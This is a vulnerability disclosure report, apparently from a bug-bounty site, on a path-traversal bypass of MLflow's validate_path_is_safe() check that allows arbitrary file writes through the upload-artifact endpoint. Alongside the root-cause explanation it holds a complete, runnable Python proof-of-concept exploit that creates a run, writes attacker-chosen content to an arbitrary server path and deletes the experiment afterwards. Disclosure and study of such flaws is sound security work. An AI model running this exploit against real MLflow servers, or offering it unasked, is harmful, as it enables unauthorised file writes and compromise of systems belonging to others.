bypass validate_path_is_safe() check to upload arbitrary files to arbitrary directories in mlflow/mlflow

1
Valid

Reported on

Nov 24th 2023

The bug is in validate_path_is_safe() function, and the way it is used in handlers.

Most serious of the vulnerabilities is in upload_artifact_handler() function (server/handlers.py), but there are other handlers that make the same mistake and allow for LFI.

In upload_artifact_handler(), path is controlled by an attacker through query paramter path. validate_path_is_safe(path) is used to verify it, where it will check if is_file_uri(path) and if so it will extract path component in local_file_uri_to_path(path) with urllib.parse.urlparse(), but if there is # in the path, eg:

>>> urllib.parse.urlparse('file://a#/../../../../../tmp/xxx')
>>> ParseResult(scheme='file', netloc='a', path='', params='', query='', fragment='/../../../../../tmp/xxx')

then local_file_uri_to_path(path) will return an empty string and all checks in validate_path_is_safe() will pass, but back in upload_artifact_handler() it will continue to use the original value that was set as param. It will then extract

basename = posixpath.basename(path)
dirname = posixpath.dirname(path)  

so if path was file://a#/../../../../../tmp/xxx, then

basename == "xxx"
dirname == "file://a#/../../../../..//tmp"

later it uses basename and dirname to create a file in temporary directory:

    with tempfile.TemporaryDirectory() as tmpdir:
        dir_path = os.path.join(tmpdir, dirname) if dirname else tmpdir
        file_path = os.path.join(dir_path, basename)

        os.makedirs(dir_path, exist_ok=True)

        with open(file_path, "wb") as f:
            f.write(data)

so file_path will end up being /tmp/tmpRANDOM/file://a#/../../../../..//tmp/xxx, where it will effectively write to /tmp/xxx.

import sys
from random import randbytes
from requests import Session

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"python3 {sys.argv[0]} URL RPATH CONTENT")
        print(f"example: python3 {sys.argv[0]} 'http://localhost:5000' '/tmp/pwnd' 'pwnd'")
        exit()

    url, rpath, content = sys.argv[1:4]
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    experiment_name = "e_" + randbytes(4).hex()
    with Session() as s:
        # also possible to just supply existing run_uuid, but for the sake of automated
        # PoC, new experiment and run will be created:
        rsp = s.post(f"{ajax_api}/experiments/create", json={
            "name" : experiment_name
        })

        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create-promptlab-run", json={
            "experiment_id"     : experiment_id,
            "prompt_template"   : "xxx",
            "prompt_parameters" : [{"key":"test","value":"test"}],
            "model_route"       : "/xxx",
            "model_input"       : "[]",
            "mlflow_version"    : "2.8.1"
        })

        run_uuid = rsp.json()["run"]["info"]["run_uuid"]
        print(run_uuid)
        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=file://a%23/../../../../../{rpath}", data=content)

        rsp = s.post(f"{ajax_api}/experiments/delete", json={
            "experiment_id" : experiment_id
        })

Impact

This vulnerability is capable of writing arbitrary files into arbitrary locations on the remote filesystem in the context of the server process.